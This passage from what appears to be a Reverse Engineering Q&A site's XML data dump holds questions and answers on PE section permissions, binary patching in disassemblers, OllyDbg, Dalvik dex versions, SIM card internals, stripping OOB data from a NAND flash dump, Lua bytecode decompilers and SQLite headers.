|.4.i...oyV.r-~..|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The images were created using &lt;a href=&quot;https://github.com/devttys0/binwalk&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;binwalk&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;http://binvis.io/#/&quot; rel=&quot;nofollow noreferrer&quot;&gt;binvis.io&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2017-03-21T13:10:20.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14965" PostTypeId="2" ParentId="14963" CreationDate="2017-03-21T06:02:08.013" Score="3" Body="&lt;ol&gt;&#xA;&lt;li&gt;Get a decent Disassembler running (radare, IDA Pr0, BinaryNinja, x64dbg..)&lt;/li&gt;&#xA;&lt;li&gt;Find the string you are looking for in memory e.g. 'press enter ...'&lt;/li&gt;&#xA;&lt;li&gt;Look up the cross references to find the place in memory it's used for an API call&lt;/li&gt;&#xA;&lt;li&gt;Skip that part (look at later or earlier branches to patch, or just patch the bytes to jmp to the end / maybe a return will do the trick)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The memory location you are looking for will do something like print the string utilizing printf and then wait for user input. In the end, it will return.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically you can try to alter branch conditions through binary patching or you could try to do a hard binary patch. In the later case, you can just try to patch a return-statement instead of the input-waiting-function or insert a jump.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/U9Cgr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/U9Cgr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOP-ing out the highlighted call did the trick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Special regards to w s for in-chat guidance!&lt;/p&gt;&#xA;" OwnerUserId="3162" LastEditorUserId="3162" LastEditDate="2017-03-21T07:10:57.707" LastActivityDate="2017-03-21T07:10:57.707" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14966" PostTypeId="2" ParentId="14958" CreationDate="2017-03-21T08:21:27.803" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Shouldn't some variable always lead to some static address inside the&#xA;  .data section?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There is no concept of a variable on assembly level. We got bit-sized&#xA;fields in registers and memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By convention, compilers designate the .data section for global and static variables. Everything inside a function is mostly handled on the stack.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How would you normally go around this issue to get back on track and&#xA;  reverse further/beyond the RUNTIME_FUNCTION?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Please understand that IDA does not do data flow analysis for you, but it finds cross-references. So this is not the source of the data, but something referencing to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you want to do is to trace the dataflow back to its origins. Data-flow analysis looks somewhat like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/yB1lr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yB1lr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you should do is use your knowledge about the calling convention to know how data is passed between functions. If you can get any more specific with your question, I'm sure you will get less general answers.&lt;/p&gt;&#xA;" OwnerUserId="3162" LastActivityDate="2017-03-21T08:21:27.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14967" PostTypeId="1" AcceptedAnswerId="14969" CreationDate="2017-03-21T08:43:04.723" Score="0" ViewCount="4254" Body="&lt;p&gt;I wanted to know which permissions each section of the following PE Sections have (windows):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.idata&#xA;.rsrc&#xA;.data&#xA;.text&#xA;.bss&#xA;.rdata&#xA;.edata&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance, I couldn't  found an answer using google. :)&lt;/p&gt;&#xA;" OwnerUserId="19590" LastActivityDate="2017-03-21T09:53:51.947" Title="PE Sections Permissions" Tags="|windows|pe|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14968" PostTypeId="1" CreationDate="2017-03-21T08:57:11.043" Score="4" ViewCount="1046" Body="&lt;p&gt;I came upon a sample that indirectly contains &lt;a href=&quot;https://www.virustotal.com/en/file/70399e539a9149f4b1a129cce2eeb6640c093f016ecb005206cb3c247a1a5a49/analysis/&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;classes.dex&lt;/code&gt;&lt;/a&gt; with the magic &quot;Dalvik dex file version 036&quot;. If not for the version, the file seems to be normal and JEB loads it without any problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But per official spec of &lt;a href=&quot;https://source.android.com/devices/tech/dalvik/dex-format.html&quot; rel=&quot;noreferrer&quot;&gt;DEX format&lt;/a&gt; the only allowed values are 035 and 037, with 038 in Android 8.0. Previously the text explicitly read (but not any more):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Due to a Dalvik bug present in older versions of Android, Dex version 036 has been skipped. Dex version 036 is not valid for any version of Android and never will be.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The same story is confirmed here - &lt;a href=&quot;https://github.com/JesusFreke/smali/issues/484&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/JesusFreke/smali/issues/484&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How Android behaves on such a dex? Does Dalvik simply load it silently or rejects? Or this is a known technique of concealing the file from analysis and the version is being corrected just before the dex is loaded?&lt;/p&gt;&#xA;" OwnerUserId="19589" LastActivityDate="2017-06-21T05:35:16.737" Title="Dalvik dex file version 036" Tags="|android|static-analysis|apk|protection|dalvik|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14969" PostTypeId="2" ParentId="14967" CreationDate="2017-03-21T09:28:26.370" Score="2" Body="&lt;p&gt;You can find the official PE-format documentation &lt;a href=&quot;https://www.microsoft.com/en-us/download/details.aspx?id=19509&quot; rel=&quot;nofollow noreferrer&quot;&gt;here.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The section permissions are completely up to the programmer / compiler. You can parse the permissions out of the sections table. Please know that the permissions may be changed at runtime and also may be manipulated for smaller units of memory (pages!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, there is always some 'default' permissions set by the compiler if the programmer doesn't care about them explicitly:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, the &lt;code&gt;.text&lt;/code&gt; section is usually &lt;code&gt;READ + EXECUTE&lt;/code&gt;, while data sections are usually &lt;code&gt;READ + WRITE (+ PROTECTED)&lt;/code&gt;. There is no magic here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is plenty of software available to look at the startup section permissions (basically everything parsing pe files).&lt;/p&gt;&#xA;" OwnerUserId="3162" LastActivityDate="2017-03-21T09:28:26.370" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14970" PostTypeId="2" ParentId="14958" CreationDate="2017-03-21T09:28:35.243" Score="4" Body="&lt;p&gt;&lt;a href=&quot;http://www.osronline.com/article.cfm?article=469&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;RUNTIME_FUNCTION&lt;/code&gt; is a system structure&lt;/a&gt; added by the compiler for all functions in a  proper win64 executable. It is only used by the OS when processing exceptions, so it has no relation to your game's variables. You should ignore those xrefs and look elsewhere.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-03-21T09:28:35.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14971" PostTypeId="2" ParentId="14967" CreationDate="2017-03-21T09:42:21.390" Score="3" Body="&lt;p&gt;You can use DUMPBIN for examining section permissions. If you run it with no other argument than executable name it shows sections in executable.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt; dumpbin ConsoleApplication1.exe&#xA;Microsoft (R) COFF/PE Dumper Version 14.10.24930.0&#xA;Copyright (C) Microsoft Corporation.  All rights reserved.&#xA;&#xA;&#xA;Dump of file ConsoleApplication1.exe&#xA;&#xA;File Type: EXECUTABLE IMAGE&#xA;&#xA;  Summary&#xA;&#xA;    1000 .data&#xA;    1000 .rdata&#xA;    1000 .reloc&#xA;    1000 .rsrc&#xA;    1000 .text&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, check for specific section:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt; dumpbin /SECTION:.text ConsoleApplication1.exe&#xA;Microsoft (R) COFF/PE Dumper Version 14.10.24930.0&#xA;Copyright (C) Microsoft Corporation.  All rights reserved.&#xA;&#xA;&#xA;Dump of file ConsoleApplication1.exe&#xA;&#xA;File Type: EXECUTABLE IMAGE&#xA;&#xA;SECTION HEADER #1&#xA;   .text name&#xA;     C2F virtual size&#xA;    1000 virtual address (00401000 to 00401C2E)&#xA;     E00 size of raw data&#xA;     400 file pointer to raw data (00000400 to 000011FF)&#xA;       0 file pointer to relocation table&#xA;       0 file pointer to line numbers&#xA;       0 number of relocations&#xA;       0 number of line numbers&#xA;60000020 flags&#xA;         Code&#xA;         Execute Read &amp;lt;----&#xA;&#xA;  Summary&#xA;&#xA;        1000 .text&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18804" LastActivityDate="2017-03-21T09:42:21.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14972" PostTypeId="2" ParentId="14967" CreationDate="2017-03-21T09:53:51.947" Score="1" Body="&lt;pre&gt;&lt;code&gt;C:\Program Files\Microsoft Visual Studio 14.0&amp;gt;dumpbin c:\Windows\System32\calc.e&#xA;xe /headers | grep SECTION -A 14 |  grep -A 3 flags&#xA;60000020 flags&#xA;         Code&#xA;         Execute Read&#xA;&#xA;--&#xA;C0000040 flags&#xA;         Initialized Data&#xA;         Read Write&#xA;&#xA;--&#xA;40000040 flags&#xA;         Initialized Data&#xA;         Read Only&#xA;&#xA;--&#xA;42000040 flags&#xA;         Initialized Data&#xA;         Discardable&#xA;         Read Only&#xA;&#xA;C:\Program Files\Microsoft Visual Studio 14.0&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2017-03-21T09:53:51.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14973" PostTypeId="1" AcceptedAnswerId="18794" CreationDate="2017-03-21T11:45:51.113" Score="2" ViewCount="2017" Body="&lt;p&gt;I have some questions about some hopper disassembler features.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is there a way to add a structure definition to the database ? How ?&lt;/li&gt;&#xA;&lt;li&gt;Is there a way to assign a type (especially structure or structure pointer) to a local variable ? How exactly ?&lt;/li&gt;&#xA;&lt;li&gt;Is there a way to assign a synonym for register and see this synonym in decompilation view ?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Used version of the Hopper is 4.0.35.&#xA;Thank you in advance.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2017-03-22T06:51:54.383" LastActivityDate="2018-07-14T02:44:55.670" Title="Basic actions in hopper disassembler" Tags="|hopper|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14974" PostTypeId="1" AcceptedAnswerId="14987" CreationDate="2017-03-21T15:14:15.753" Score="1" ViewCount="1421" Body="&lt;p&gt;Is it possible to assemble back the ChunkSpy's dissembled LUA files? Here's an example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0B50  05000000           [001] getglobal  0   0        ; script&#xA;0B54  C63E0000           [002] gettable   0   0   251  ; &quot;reload&quot;&#xA;0B58  81000001           [003] loadk      1   2        ; &quot;player/common.lua&quot;&#xA;0B5C  59000100           [004] call       0   2   1  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(And this is how it's actually supposed to look like.)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;script.reload(&quot;player/common.lua&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried to use Unluac and Luadec for files I want to decompile, but ChunkSpy is the only program that manages to open them. And these 3 tools are the ones I can use eventually, since all other tools were designed to work with LUB versions 5.1, 5.2 or 5.3. But, the version of my files is 5.0.2. I've searched everywhere for any suggestions about my problem, but I couldn't find anything. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Despite the fact that the needed program may not even exist, and absolutely nothing can't be done with these LUB files, I still would like to know, why Unluac and Luadec fail at decompiling &lt;a href=&quot;http://www.mediafire.com/file/wxl8pj95dkyhxgc/stackoverflow_lub.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;those files&lt;/a&gt;, while ChunkSpy doesn't have any problems with them?&lt;/p&gt;&#xA;" OwnerUserId="19593" LastActivityDate="2017-03-23T06:23:58.087" Title="How to assemble back a disassembled ChunkSpy LUA?" Tags="|assembly|decompile|byte-code|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14975" PostTypeId="1" CreationDate="2017-03-21T16:10:35.613" Score="-3" ViewCount="474" Body="&lt;p&gt;Does a SIM card consist of only Flash memory or is there a microprocessor inside as well?&lt;/p&gt;&#xA;" OwnerUserId="19594" LastActivityDate="2019-03-16T13:27:32.990" Title="What exactly is a SIM card?" Tags="|memory|embedded|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="14976" PostTypeId="2" ParentId="14968" CreationDate="2017-03-21T16:12:53.120" Score="2" Body="&lt;p&gt;I believe most versions of dalvik and art will reject the dex file and refuse to load it.&lt;/p&gt;&#xA;" OwnerUserId="8063" LastActivityDate="2017-03-21T16:12:53.120" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14977" PostTypeId="2" ParentId="14975" CreationDate="2017-03-21T16:36:40.000" Score="2" Body="&lt;p&gt;Correction: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;in fact many SIMs do contain a microprocessor for extra functionality &lt;a href=&quot;https://www.hacking-lab.com/cases/4053-sim-application-toolkit/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;(see SIM Application Toolkit)&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Thank you Igor Skochinsky for the correction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;http://2014.phdays.com/program/tech/36814/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Karsten Nohl's presentation &quot;Mobile Network Attack Evolution&quot;&lt;/a&gt;, SIM cards contain an embedded &lt;a href=&quot;https://en.wikipedia.org/wiki/Real-time_operating_system&quot; rel=&quot;nofollow noreferrer&quot;&gt;real-time operating system&lt;/a&gt;, a filesystem and a Java VM :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/L6qqP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/L6qqP.png&quot; alt=&quot;Presentation slide 1&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/41JFH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/41JFH.png&quot; alt=&quot;Slide 2&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a direct link to the presentation: &lt;a href=&quot;https://www.slideshare.net/phdays/140521karsten-nohl-phdmobileattackevolution-35161629&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;a href=&quot;https://www.slideshare.net/phdays/140521karsten-nohl-phdmobileattackevolution-35161629&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.slideshare.net/phdays/140521karsten-nohl-phdmobileattackevolution-35161629&lt;/a&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also: &lt;a href=&quot;http://blog.ptsecurity.com/2014/12/4g-security-hacking-usb-modem-and-sim.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;4G Security: Hacking USB Modem and SIM Card via SMS&#xA;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="18317" LastEditDate="2017-03-22T14:53:52.740" LastActivityDate="2017-03-22T14:53:52.740" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="14979" PostTypeId="1" AcceptedAnswerId="14981" CreationDate="2017-03-22T00:39:21.167" Score="3" ViewCount="4576" Body="&lt;p&gt;I just finished up with cracking this crackme I found off the net and it's cracked and everything,but the problem is that in ollydebug I don't happen to see a option to copy the modified code and save it as a executable. I tried googling this up but no answers were in the slightest bit useful. I right clicked the CPU window and hovered over edit but it wasn't there. However when it did show up it was under the module ntdll instead of the actual exe. To be specific I'm simply trying to copy my modified code to a executable that's already cracked but the option to perform such a action isn't there it only pops up when I'm under ntdll but not the exe. Many thanks to whoever can solve this problem&lt;/p&gt;&#xA;" OwnerUserId="19518" LastActivityDate="2017-03-22T05:29:20.407" Title="I'm unable to copy to executable (ollydebug)" Tags="|ollydbg|debugging|debuggers|compilers|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14981" PostTypeId="2" ParentId="14979" CreationDate="2017-03-22T05:29:20.407" Score="0" Body="&lt;p&gt;f your code pops up in ntdll you have added your code in ntdll do not do that dont modify system dlls you may destabilze your os add code only to your executable and use copy to executable&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dbg break is the first break for any process called system breakpoint andcit is ntdll step or run to your executable code viz address of entry point or start or main &lt;/p&gt;&#xA;&#xA;&lt;p&gt;see snap shot &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Uj9pd.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Uj9pd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;copy to executable if you have modification in the executable will be available here&lt;br&gt;&#xA;(if you do not have any modifications in the executable address space this wont appear&lt;br&gt;&#xA;the modification that you have in ntdll wont appear here&lt;br&gt;&#xA;you need to modify / add / delete / nop / do whatever in exes physicallly available space&lt;br&gt;&#xA;you cant save to exe if you have code in page alignment / section alignment padding space &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PoLwB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PoLwB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2017-03-22T05:29:20.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14982" PostTypeId="1" AcceptedAnswerId="15099" CreationDate="2017-03-22T16:22:14.680" Score="9" ViewCount="10895" Body="&lt;p&gt;I'm trying to extract a NAND flash dump of an old Walkman player. The dump was done by a friend and unfortunately cannot be redone because the chip was destroyed.&#xA;The dump was supposed to be just user data without OOB but it seems something went wrong and OOB is still there. &#xA;I tried various ways of removing OOB and I can get some reasonably-looking data but many things are still off and I can't extract proper files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I tried.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just by looking visually into hex dump, there are a 16-byte lines beginning with &quot;01 00 00 00&quot; &#xA;every 0x200 bytes which look out of place. &#xA;&lt;a href=&quot;https://i.stack.imgur.com/u4YMX.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/u4YMX.png&quot; alt=&quot;hex dump&quot;&gt;&lt;/a&gt;&#xA;I made a short script to remove 16 bytes after every 0x200:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import sys&#xA;inf = open(sys.argv[1] ,&quot;rb&quot;)&#xA;of = open(sys.argv[2],&quot;wb&quot;)&#xA;clen = 0x200&#xA;c = inf.read(clen)&#xA;off = 0&#xA;while c:&#xA;  off = inf.tell()&#xA;  oob = inf.read(0x10)&#xA;  if oob[:4]!=&quot;\x01\x00\x00\x00&quot;:&#xA;   print &quot; bad OOB at %08X?&quot; % off, oob.encode('hex')&#xA;   break&#xA;  of.write(c)&#xA;  if (off&amp;amp;0x1000) ==0:&#xA;   print &quot;%08X&quot; % off&#xA;  c = inf.read(clen)&#xA;&#xA;&#xA;inf.close()&#xA;of.close()&#xA;print &quot;done.&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The added sanity check triggers pretty quickly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000200&#xA;00000410&#xA;00000620&#xA;00000830&#xA;00000A40&#xA;00000C50&#xA;00000E60&#xA; bad OOB at 00001070? 042080e4fbffffea10009fe530ff2fe1&#xA;done.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And indeed, the next line starting with 01 00 00 00 is at 1240, not 1070. I tried to account for it and restart, but &#xA;I ran into similar issues later. So I wonder if I'm missing something. &#xA;The full file is 4GB which is a bit heavy so here are few cut out chunks:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;beginning of the dump (initial bootloader?). &lt;a href=&quot;http://filebin.ca/3GSGqkvCosrS/chunk0.bin&quot; rel=&quot;noreferrer&quot;&gt;offset 0&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;start of U-boot bootloader. &lt;a href=&quot;http://filebin.ca/3GSHLyfp2t46/chunk_104000.bin&quot; rel=&quot;noreferrer&quot;&gt;offset 0x104000&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;start of the kernel image.&lt;a href=&quot;http://filebin.ca/3GSI6oIkNWUl/chunk_186000.bin&quot; rel=&quot;noreferrer&quot;&gt;offset 0x186000&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;if you'd like to see the whole dump I've shared a link in &lt;a href=&quot;http://chat.stackexchange.com/transcript/message/36175953#36175953&quot;&gt;our chat&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hardware details:&#xA;Device is Sony Walkman NWZ-A829. &#xA;The flash chip is most likely TH58NVG6D1DTG20. &#xA;The CPU is a NEC MP201 (ARMv5le).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GPL sources (U-Boot/Linux kernel) are available here: &lt;a href=&quot;http://oss.sony.net/Products/Linux/Audio/NWZ-S715.html&quot; rel=&quot;noreferrer&quot;&gt;http://oss.sony.net/Products/Linux/Audio/NWZ-S715.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The final goal is to figure out the firmware update encryption and produce custom firmware for the device.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-02-22T20:28:59.990" Title="Extracting a NAND flash dump with OOB data" Tags="|binary-analysis|firmware|arm|flash|dump|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14985" PostTypeId="2" ParentId="14973" CreationDate="2017-03-22T19:32:34.610" Score="1" Body="&lt;p&gt;According to the answer from the support (thanks, @Vincent Bénony) &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;There is a possibility to add a structure to the database, Modify --&gt; Manage Types.&lt;/li&gt;&#xA;&lt;li&gt;There is &lt;strong&gt;no&lt;/strong&gt; possibility to assign a type to local variable for now.&lt;/li&gt;&#xA;&lt;li&gt;There is a possibility to assign a synonym for register, but it will not be seen in decompilation view.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2017-03-22T19:32:34.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14987" PostTypeId="2" ParentId="14974" CreationDate="2017-03-23T06:23:58.087" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;How to assemble back a disassembled ChunkSpy LUA?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You don't. From the &lt;a href=&quot;http://chunkspy.luaforge.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;ChunckSpy&lt;/a&gt; website:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ChunkSpy is a tool to disassemble a Lua 5 binary chunk into a verbose listing that can then be studied. Its output bears a resemblance to the output listing of assemblers. ... If you want to disassemble to source code, try LuaDec by Hisham Muhammad.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As for your other question&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I still would like to know, why Unluac and Luadec fail at decompiling those files, while ChunkSpy doesn't have any problems with them?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Please note that this is hardly an reverse engineering question and very specific to the internal structure of the mentioned projects. You may be better off posting to the project maintainers themselves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;https://sourceforge.net/projects/unluac/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Unluac&lt;/a&gt; site:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It requires that debugging information has not been stripped from the chunk.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;http://luadec.luaforge.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;LuaDec&lt;/a&gt; site:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;LuaDec, in its current form, is not a complete decompiler. It does succeed in decompiling most of the Lua constructs&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3162" LastActivityDate="2017-03-23T06:23:58.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14988" PostTypeId="1" CreationDate="2017-03-23T07:05:57.253" Score="1" ViewCount="1701" Body="&lt;p&gt;I am researching some malware which loads multiple Sqlite Databases into memory during its operation. I've managed to dump the memory to disk in a large block however I cannot view the databases currently as I can't figure out how large the file should be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The headers appear intact however I can't easily figure out where the &quot;end&quot; of the database is. Can someone help me figure out what the byte size of the entire DB should be form this header? Or can someone suggest some software that is not picky on the format of the DB, eg if I include garbage at the end of the file it will automatically figure out where to stop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Format explained here:&#xA;&lt;a href=&quot;https://www.sqlite.org/fileformat.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.sqlite.org/fileformat.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Header = SQLite format 3&#xA;00 00 53 51 4c 69 74 65 20 66 6f 72 6d 61 74 20 33 00 &#xA;&#xA;Page size = 1024&#xA;04 00 &#xA;&#xA;Format write version&#xA;01&#xA;&#xA;Format read version&#xA;01 &#xA;&#xA;Bytes unreserved space&#xA;00 &#xA;&#xA;Maximum embedded payload fraction (must be 64)&#xA;40 &#xA;&#xA;Maximum embedded payload fraction (must be 32)&#xA;20 &#xA;Leaf payload fraction (must be 32)&#xA;20 &#xA;&#xA;File Change counter&#xA;00 00 01 5f&#xA;&#xA;Size of the database file in pages (16)&#xA;00 00 00 10 &#xA;&#xA;Page number of the first freelist trunk page&#xA;00 00 00 09 &#xA;&#xA;Total number of freelist pages.&#xA;00 00 00 01 &#xA;&#xA;The schema cookie&#xA;00 00 00 03 &#xA;&#xA;The schema format number. Supported schema formats are 1, 2, 3, and 4.&#xA;00 00 00 04 &#xA;&#xA;Default page cache size.&#xA;00 00 00 00 &#xA;&#xA;The page number of the largest root b-tree page when in auto-vacuum or incremental-vacuum modes, or zero otherwise.&#xA;00 00 00 00 &#xA;&#xA;The database text encoding. A value of 1 means UTF-8. A value of 2 means UTF-16le. A value of 3 means UTF-16be.&#xA;00 00 00 01 &#xA;&#xA;The &quot;user version&quot; as read and set by the user_version pragma.&#xA;00 00 00 0F&#xA;&#xA;True (non-zero) for incremental-vacuum mode. False (zero) otherwise.&#xA;00 00 00 00 00 &#xA;&#xA;The &quot;Application ID&quot; set by PRAGMA application_id.&#xA;00 00 00 00 &#xA;&#xA;Reserved for expansion. Must be zero. &#xA;00 00 00 00 &#xA;00 00 00 00&#xA;00 00 00 00 &#xA;00 00 00 00 &#xA;00 00 00 00 &#xA;&#xA;The version-valid-for 